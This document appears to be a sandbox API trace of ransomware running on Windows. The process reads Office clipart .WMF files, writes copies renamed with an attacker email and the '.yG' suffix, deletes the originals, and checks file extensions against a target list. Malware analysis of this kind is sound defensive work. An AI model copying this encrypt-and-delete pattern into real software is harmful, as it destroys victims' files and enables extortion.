	[0151.647] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.648] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.648] SetEndOfFile (hFile=0x4a4) returned 1
	[0151.648] CloseHandle (hObject=0x4a4) returned 1
	[0151.648] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.648] SetEndOfFile (hFile=0x42c) returned 1
	[0151.651] CloseHandle (hObject=0x42c) returned 1
	[0151.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1
	[0151.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0151.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0151.652] lstrlenW (lpString=".doc") returned 4
	[0151.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.652] lstrlenW (lpString=".docx") returned 5
	[0151.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.652] lstrlenW (lpString=".pdf") returned 4
	[0151.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.653] lstrlenW (lpString=".xls") returned 4
	[0151.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.653] lstrlenW (lpString=".xlsx") returned 5
	[0151.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.653] lstrlenW (lpString=".ppt") returned 4
	[0151.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0151.653] lstrlenW (lpString=".zip") returned 4
	[0151.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.653] lstrlenW (lpString=".rar") returned 4
	[0151.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.653] lstrlenW (lpString=".bz2") returned 4
	[0151.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.653] lstrlenW (lpString=".7z") returned 3
	[0151.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0151.653] lstrlenW (lpString=".dbf") returned 4
	[0151.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0151.653] lstrlenW (lpString=".1cd") returned 4
	[0151.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0151.653] lstrlenW (lpString=".jpg") returned 4
	[0151.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0151.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0151.653] lstrlenW (lpString=".doc") returned 4
	[0151.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.654] lstrlenW (lpString=".docx") returned 5
	[0151.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.654] lstrlenW (lpString=".pdf") returned 4
	[0151.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.654] lstrlenW (lpString=".xls") returned 4
	[0151.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.654] lstrlenW (lpString=".xlsx") returned 5
	[0151.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.654] lstrlenW (lpString=".ppt") returned 4
	[0151.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0151.654] lstrlenW (lpString=".zip") returned 4
	[0151.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.654] lstrlenW (lpString=".rar") returned 4
	[0151.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.654] lstrlenW (lpString=".bz2") returned 4
	[0151.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.654] lstrlenW (lpString=".7z") returned 3
	[0151.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0151.654] lstrlenW (lpString=".dbf") returned 4
	[0151.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0151.654] lstrlenW (lpString=".1cd") returned 4
	[0151.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0151.654] lstrlenW (lpString=".jpg") returned 4
	[0151.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.655] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.655] lstrlenW (lpString="HM00172_.WMF") returned 12
	[0151.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0151.663] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=2832) returned 1
	[0151.663] CloseHandle (hObject=0x42c) returned 1
	[0151.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220
	[0151.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0151.664] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.664] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0151.665] GetLastError () returned 0x0
	[0151.665] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xb10, lpOverlapped=0x0) returned 1
	[0151.667] WriteFile (in: hFile=0x54c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xb20, lpOverlapped=0x0) returned 1
	[0151.668] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.668] WriteFile (in: hFile=0x54c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.668] SetEndOfFile (hFile=0x54c) returned 1
	[0151.669] CloseHandle (hObject=0x54c) returned 1
	[0151.669] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.669] SetEndOfFile (hFile=0x42c) returned 1
	[0151.672] CloseHandle (hObject=0x42c) returned 1
	[0151.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1
	[0151.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0151.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0151.673] lstrlenW (lpString=".doc") returned 4
	[0151.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.673] lstrlenW (lpString=".docx") returned 5
	[0151.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.674] lstrlenW (lpString=".pdf") returned 4
	[0151.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.674] lstrlenW (lpString=".xls") returned 4
	[0151.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.674] lstrlenW (lpString=".xlsx") returned 5
	[0151.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.674] lstrlenW (lpString=".ppt") returned 4
	[0151.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0151.674] lstrlenW (lpString=".zip") returned 4
	[0151.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.674] lstrlenW (lpString=".rar") returned 4
	[0151.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.674] lstrlenW (lpString=".bz2") returned 4
	[0151.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.674] lstrlenW (lpString=".7z") returned 3
	[0151.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0151.674] lstrlenW (lpString=".dbf") returned 4
	[0151.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0151.674] lstrlenW (lpString=".1cd") returned 4
	[0151.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0151.674] lstrlenW (lpString=".jpg") returned 4
	[0151.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0151.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0151.675] lstrlenW (lpString=".doc") returned 4
	[0151.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.675] lstrlenW (lpString=".docx") returned 5
	[0151.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.675] lstrlenW (lpString=".pdf") returned 4
	[0151.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.675] lstrlenW (lpString=".xls") returned 4
	[0151.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.675] lstrlenW (lpString=".xlsx") returned 5
	[0151.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.675] lstrlenW (lpString=".ppt") returned 4
	[0151.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0151.675] lstrlenW (lpString=".zip") returned 4
	[0151.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.675] lstrlenW (lpString=".rar") returned 4
	[0151.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.675] lstrlenW (lpString=".bz2") returned 4
	[0151.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.675] lstrlenW (lpString=".7z") returned 3
	[0151.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0151.675] lstrlenW (lpString=".dbf") returned 4
	[0151.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0151.676] lstrlenW (lpString=".1cd") returned 4
	[0151.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0151.676] lstrlenW (lpString=".jpg") returned 4
	[0151.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.676] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.676] lstrlenW (lpString="HM00426_.WMF") returned 12
	[0151.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0151.677] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=68776) returned 1
	[0151.677] CloseHandle (hObject=0x42c) returned 1
	[0151.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220
	[0151.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0151.678] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.678] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0151.679] GetLastError () returned 0x0
	[0151.679] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x10ca8, lpOverlapped=0x0) returned 1
	[0151.688] WriteFile (in: hFile=0x54c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x10cb0, lpOverlapped=0x0) returned 1
	[0151.690] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.691] WriteFile (in: hFile=0x54c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.691] SetEndOfFile (hFile=0x54c) returned 1
	[0151.691] CloseHandle (hObject=0x54c) returned 1
	[0151.691] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.691] SetEndOfFile (hFile=0x42c) returned 1
	[0151.889] CloseHandle (hObject=0x42c) returned 1
	[0151.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0152.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1
	[0152.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0152.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0152.318] lstrlenW (lpString=".doc") returned 4
	[0152.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0152.318] lstrlenW (lpString=".docx") returned 5
	[0152.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0152.318] lstrlenW (lpString=".pdf") returned 4
	[0152.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0152.318] lstrlenW (lpString=".xls") returned 4
	[0152.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0152.318] lstrlenW (lpString=".xlsx") returned 5
	[0152.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0152.318] lstrlenW (lpString=".ppt") returned 4
	[0152.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0152.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0152.318] lstrlenW (lpString=".zip") returned 4
	[0152.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0152.318] lstrlenW (lpString=".rar") returned 4
	[0152.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0152.319] lstrlenW (lpString=".bz2") returned 4
	[0152.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0152.319] lstrlenW (lpString=".7z") returned 3
	[0152.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0152.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0152.319] lstrlenW (lpString=".dbf") returned 4
	[0152.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0152.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0152.319] lstrlenW (lpString=".1cd") returned 4
	[0152.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0152.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0152.319] lstrlenW (lpString=".jpg") returned 4
	[0152.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0152.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0152.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0152.319] lstrlenW (lpString=".doc") returned 4
	[0152.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0152.319] lstrlenW (lpString=".docx") returned 5
	[0152.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0152.319] lstrlenW (lpString=".pdf") returned 4
	[0152.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0152.319] lstrlenW (lpString=".xls") returned 4
	[0152.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0152.319] lstrlenW (lpString=".xlsx") returned 5
	[0152.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0152.319] lstrlenW (lpString=".ppt") returned 4
	[0152.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0152.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0152.320] lstrlenW (lpString=".zip") returned 4
	[0152.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0152.320] lstrlenW (lpString=".rar") returned 4
	[0152.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0152.320] lstrlenW (lpString=".bz2") returned 4
	[0152.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0152.320] lstrlenW (lpString=".7z") returned 3
	[0152.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0152.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0152.320] lstrlenW (lpString=".dbf") returned 4
	[0152.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0152.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0152.320] lstrlenW (lpString=".1cd") returned 4
	[0152.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0152.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0152.320] lstrlenW (lpString=".jpg") returned 4
	[0152.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0152.320] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0152.320] lstrlenW (lpString="IN00557_.WMF") returned 12
	[0152.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0152.700] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=9172) returned 1
	[0152.700] CloseHandle (hObject=0x51c) returned 1
	[0152.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220
	[0153.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0153.261] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.261] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0153.262] GetLastError () returned 0x0
	[0153.262] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x23d4, lpOverlapped=0x0) returned 1
